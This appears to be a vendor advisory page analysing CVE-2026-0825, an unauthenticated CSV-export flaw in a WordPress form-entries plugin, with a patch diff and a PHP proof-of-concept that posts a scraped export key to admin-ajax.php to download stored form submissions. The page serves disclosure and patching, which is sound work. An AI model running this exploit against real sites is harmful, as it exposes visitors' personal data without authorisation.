Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0825: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.5 – Missing Authorization to Unauthenticated Form Data Exfiltration via CSV Export (contact-form-entries)

CVE ID CVE-2026-0825
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.4.5
Patched Version 1.4.6
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0825:
The Database for Contact Form 7, WPforms, Elementor forms WordPress plugin, versions up to and including 1.4.5, contains a missing authorization vulnerability in its CSV export functionality. This vulnerability allows unauthenticated attackers to exfiltrate all stored form submission data, including personally identifiable information (PII). The plugin’s shortcode properly filters displayed entries by user, but the CSV export handler completely bypasses this filtering.

Atomic Edge research identifies the root cause in the plugin’s CSV export handler. The vulnerable code is located in the main plugin file `contact-form-entries/contact-form-entries.php`. The `download_csv` method is called via the `vx_download_csv` action hook at line 80. The handler retrieves a form ID using an export key from the `$_REQUEST` array. It then calls `self::download_csv($form_id,array(‘vx_links’=>’false’))` without performing any capability check or user validation. This allows any unauthenticated user who can provide a valid export key to trigger a CSV download of all entries for that form.

Exploitation requires an attacker to obtain a valid export key. The plugin embeds these keys within shortcode attributes in publicly accessible page source code. An attacker can scrape a target site to locate a key, then send a GET or POST request to the WordPress site with the `vx_download_csv` action. The request must include the `vx_key` parameter containing the stolen export key. The endpoint processes this request and initiates a file download containing all form submissions, regardless of the requester’s authentication state.

The patch in version 1.4.6 modifies the `download_csv` call at line 80. It adds a `user_id` parameter to the arguments array: `self::download_csv($form_id,array(‘vx_links’=>’false’ , ‘user_id’=>get_current_user_id()))`. This change passes the current user’s ID to the export function. The `download_csv` method internally uses this `user_id` to filter exported entries, ensuring users can only download data associated with their account. The fix enforces the same authorization checks that the shortcode display uses.

Successful exploitation leads to full exposure of all form submission data stored by the plugin. This data typically includes names, email addresses, phone numbers, messages, and potentially file uploads. Attackers can harvest this PII for identity theft, phishing campaigns, or spam. The vulnerability has a CVSS score of 5.3 (Medium severity) due to the requirement of obtaining an export key, but this key is often trivially accessible in public page source.

Differential between vulnerable and patched code

Code Diff
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
 /**
 * Plugin Name: Contact Form Entries
 * Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.4.5
+* Version: 1.4.6
 * Requires at least: 3.8
 * Author URI: https://www.crmperks.com
 * Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
   public static $type = "vxcf_form";
   public static $path = '';

-  public static  $version = '1.4.5';
+  public static  $version = '1.4.6';
   public static $upload_folder = 'crm_perks_uploads';
   public static $db_version='';
   public static $base_url='';
@@ -80,7 +80,7 @@
      $form_id=array_search($key,$form_ids);
      if(!empty($form_id)){
          vxcf_form::set_form_fields($form_id);
-         self::download_csv($form_id,array('vx_links'=>'false'));
+         self::download_csv($form_id,array('vx_links'=>'false' , 'user_id'=>get_current_user_id()));
          die();
      }
    }
@@ -119,10 +119,10 @@
 // add_filter('si_contact_email_fields_posted', array($this, 'test'),10,2);
 //elemntor form
  add_action( 'elementor_pro/forms/new_record', array($this,'create_entry_el'), 10 );
-// add_action( 'forminator_form_after_handle_submit', array($this,'create_entry_fr'), 10,2 );
+ add_action( 'forminator_custom_form_submit_before_set_fields', array($this,'create_entry_fr'), 10,3 );
 // add_action( 'forminator_form_after_save_entry', array($this,'create_entry_fr'), 10,2 );
  //add_filter( 'forminator_form_submit_response', array($this,'create_entry_fr'), 10,2 );
-
+
 // add_action('wpcf7_submit', array($this, 'submit'),10, 2);
 //add_action('wpcf7_init', array($this, 'create_entry'));
 //$this->create_entry();
@@ -419,7 +419,7 @@
     $main['user_id']=self::$user_id;
 }
  $fields=vxcf_form::get_form_fields($form_id);
-
+ //var_dump($fields,$lead);
 if(!empty($fields)){
 foreach($lead  as $k=>$v){
     $type=isset($fields[$k]['type']) ? $fields[$k]['type'] :'';
@@ -619,11 +619,13 @@
     $fields=self::get_form_fields('el_'.$form_id);
 $upload_files=$lead=array();
 if(!empty($fields)){
-    foreach($fields as $v){
-    if(isset($data[$v['label']])){
+    foreach($fields as $v){
+    if(isset($data[$v['label']])){
 $val=$data[$v['label']];
-if($v['type'] == 'upload'){
-  $upload_files[$v['id']]=$val;
+if(in_array($v['type'],array('upload','file'))){
+    if($val!='attached'){
+  $upload_files[$v['id']]=$val;
+    }
 }else{

  if(in_array($v['type'],array('checkbox','multiselect'))){
@@ -631,6 +633,7 @@
 }
 $lead[$v['id']]=$val;
 }    } }
+
 if($track ){ //&& !empty(self::$is_pr)
   $upload_files=$this->copy_files($upload_files);
 }
@@ -740,52 +743,37 @@
 $this->create_entry($lead,$form_arr,'cf','',$track);

 }
-public function create_entry_fr($res,$id){
-    var_dump($res,$id); die();
-$form_id=$form->id();
-$track=$this->track_form_entry('cf',$form_id);
-
-$submission = WPCF7_Submission::get_instance();
-$uploaded_files = $submission->uploaded_files();
-
-if($track){
-$uploaded_files=$this->copy_files($uploaded_files);
-}
-$form_title=$form->title();
-$tags=vxcf_form::get_form_fields('cf_'.$form_id);
-$post_data=$submission->get_posted_data();
-//var_dump($post_data); die();
- $lead=array();
-if(is_array($post_data)){
-  foreach($post_data as $k=>$val){
-    if(in_array($k,array('vx_width','vx_height','vx_url','g-recaptcha-response'))){ continue; }
-       if(isset($tags[$k])){
-          $v=$tags[$k];  //$v is empty for non form fields
-      }
-     $name=$k;  //$v['name'] //if empty then $v is old
-//var_dump($v);
- if(isset($uploaded_files[$name])){
-  $val=$uploaded_files[$name];
-   }
+public function create_entry_fr($entry,$form_id,$data){
+$track=$this->track_form_entry('fr',$form_id);

-if( !empty($val) && is_array($val) && isset($v['type_']) && $v['type_'] == 'mfilea'){ //escape wpcf7-files/testt'"><img src=x onerror=alert(1).jpg
-   $temp_val=array();
-    foreach($val as $kk=>$vv){
-     $temp_val[$kk]=sanitize_url($vv);
-    }
-$val=$temp_val;
-}
-    if(!isset($uploaded_files[$name])){
-     $val=wp_unslash($val);
-    }
-  $lead[$k]=$val;
+$form_title='Form #'.$form_id;
+    $fields=self::get_form_fields('fr_'.$form_id);
+$upload_files=$lead=array();
+if(!empty($data)){
+    foreach($data as $v){
+    if(isset($v['field_type'])){
+$val=$v['value'];
+if(in_array($v['field_type'],array('upload','file'))){
+  $upload_files[$v['name']]=$val['file']['file_path'];
+}else if($v['field_type'] == 'address'){
+  foreach($val as $kk=>$vv){
+ $lead[$v['name'].'-'.$kk]=$vv;
   }
-}
-//var_dump($lead,$post_data); die('-----------');
-
-$form_arr=array('id'=>$form_id,'name'=>$form_title,'fields'=>$tags);
-$this->create_entry($lead,$form_arr,'cf','',$track);
+}else{
+$lead[$v['name']]=$val;
+}    } }

+if($track ){ //&& !empty(self::$is_pr)
+  $upload_files=$this->copy_files($upload_files);
+}
+}
+       if(is_array($upload_files)){
+       foreach($upload_files as $k=>$v){
+       $lead[$k]=$v;
+       } }
+//var_dump($lead,$fields); die('-----------');
+$form_arr=array('id'=>$form_id,'name'=>$form_title,'fields'=>$fields);
+$this->create_entry($lead,$form_arr,'fr','',$track);
 }
 public function create_entry_na($data){

@@ -1209,7 +1197,7 @@

       $name=$v['name'];
      if(isset($detail[$name])){
-         $val=maybe_unserialize($detail[$name]);
+         $val=unserialize($detail[$name], array('allowed_classes' => false));
      if($v['type'] == 'file'){
          $base_url=get_site_url();
           if(!is_array($val)){
@@ -1224,7 +1212,7 @@
     $uploaded_files_form[$name]=$files;

      }
-  $lead[$name]=$detail[$name];
+  $lead[$name]=$val;
      }
   }
 //
@@ -1236,7 +1224,7 @@
        $lead[$k]=$v;
        }
    }
-} //var_dump($lead,$uploaded_files_form); die();
+} //var_dump($lead,$detail,$uploaded_files_form); die();
 global $wpdb;
 $table=$wpdb->prefix.'frm_forms';
 $sql=$wpdb->prepare("Select name from $table where id=%d",$form_id);
@@ -1339,6 +1327,7 @@


 }
+
 public function copy_files($uploaded_files_form){
     $uploaded_files=array();
             if(is_array($uploaded_files_form) && count($uploaded_files_form)>0){
@@ -1793,6 +1782,21 @@
         $all_forms['cf']=array('label'=>'Contact Form 7','forms'=>$forms_arr);
     }
  ///////
+    }
+    if(class_exists('Forminator_API')){
+$cf_forms=Forminator_API::get_forms(null,1,100); //status=publish
+
+  $forms_arr=isset($all_forms['fr']['forms']) && is_array($all_forms['fr']['forms']) ? $all_forms['fr']['forms'] :  array(); //do not show deleted forms
+    if(is_array($cf_forms) && count($cf_forms)>0){
+        $forms_arr=array();
+ foreach($cf_forms as $form){
+     if(!empty($form->id)){
+  $forms_arr[$form->id]=$form->name;
+     }
+ }
+        $all_forms['fr']=array('label'=>'Forminator Forms','forms'=>$forms_arr);
+    }
+ ///////
     }
         if(class_exists('cfx_form')){

@@ -2116,6 +2120,43 @@
    }
     }
 break;
+case'fr':
+    if(method_exists('Forminator_API','get_form_fields')){
+$form=Forminator_API::get_form_fields($id);
+$fields=array();
+foreach($form as $v){
+$type=isset($v->raw['type']) ? $v->raw['type'] : 'text';
+$label=isset($v->raw['field_label']) ? $v->raw['field_label'] : $v->slug;
+if($type == 'upload'){
+  $type='file';
+}
+ $field=array('label'=>$label,'name'=>$v->slug,'type'=>$type);
+  if(!empty($v->raw['options'])){
+    $ops=array();
+    foreach($v->raw['options'] as $op){
+      $ops[]=array('label'=>$op['label'],'value'=>$op['value']);
+    }
+ $field['values']=$ops;
+  }
+ if($type == 'address'){
+ $addr_fields=array('street_address','address_line','city','state','zip','country');
+ foreach($addr_fields as $ad){
+     $add=strpos($ad,'address') !== false ? $ad : 'address_'.$ad;
+if(!empty($v->raw[$add.'_label'])){
+     $field['label']=$v->raw[$add.'_label'];
+     $field['name']=$v->slug.'-'.$ad;
+  $fields[]=$field;
+}
+ }
+ }else{
+if(!empty($v->raw['required'])){
+ $field['req']='true';
+}
+$fields[]=$field;
+ }
+}
+    }
+break;
 case'jp':
 $text=get_post_meta($id,'_g_feedback_shortcode',true);
 $pattern = '/[([?)(contact-field)(?![w-])([^]/]*(?:/(?!])[^]/]*)*?)(?:(/)]|](?:([^[]*+(?:[(?!/2])[^[]*+)*+)[/2])?)(]?)/';
--- a/contact-form-entries/includes/plugin-pages.php
+++ b/contact-form-entries/includes/plugin-pages.php
@@ -499,7 +499,7 @@
 }
 public  function main_menu($menus){
   // Adding submenu if user has access
-$menu_id='vxcf_leads';
+$menu_id='vxcf_leads';  $hook='toplevel_page_vxcf_leads';
 if(isset($_GET['tab'])){self::$tab=vxcf_form::post('tab'); }
 if(empty($GLOBALS['admin_page_hooks'][$menu_id])){
 $unread=$this->data->get_unread_total();
@@ -525,7 +525,7 @@
  vxcf_form::$show_screen_options=true;
  } //var_dump(vxcf_form::$show_screen_options); die();
 if( vxcf_form::$show_screen_options ){
-if( !isset($_GET['id']) ){
+if( !isset($_GET['id']) ){
 add_filter( 'manage_toplevel_page_'.vxcf_form::$id.'_columns', array($this,'screen_cols') );
   //add form fields , if form options do not exist
 add_filter( 'get_user_option_managetoplevel_page_'.vxcf_form::$id.'columnshidden', array($this,'hide_cols') );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0825 - Database for Contact Form 7, WPforms, Elementor forms <= 1.4.5 - Missing Authorization to Unauthenticated Form Data Exfiltration via CSV Export

<?php

$target_url = 'https://vulnerable-wordpress-site.com';

// The export key is embedded in a shortcode on a public page.
// Example shortcode: [vxcf_leads id="123" key="abc123exportkey"]
// The key value must be extracted from the page source.
$export_key = 'abc123exportkey'; // Replace with actual scraped key

// Build the exploit URL targeting the admin-ajax.php endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare POST data with the vulnerable action and key
$post_data = array(
    'action' => 'vx_download_csv',
    'vx_key' => $export_key
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to check for file download
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code === 200 && strpos($response, 'Content-Type: text/csv') !== false) {
    echo "[+] Exploit successful. CSV data received.n";
    // Extract CSV content from response (after headers)
    $parts = explode("rnrn", $response, 2);
    if (count($parts) > 1) {
        $csv_data = $parts[1];
        echo $csv_data;
    }
} else {
    echo "[-] Exploit failed. HTTP Code: $http_coden";
    echo "Response preview:n" . substr($response, 0, 500) . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School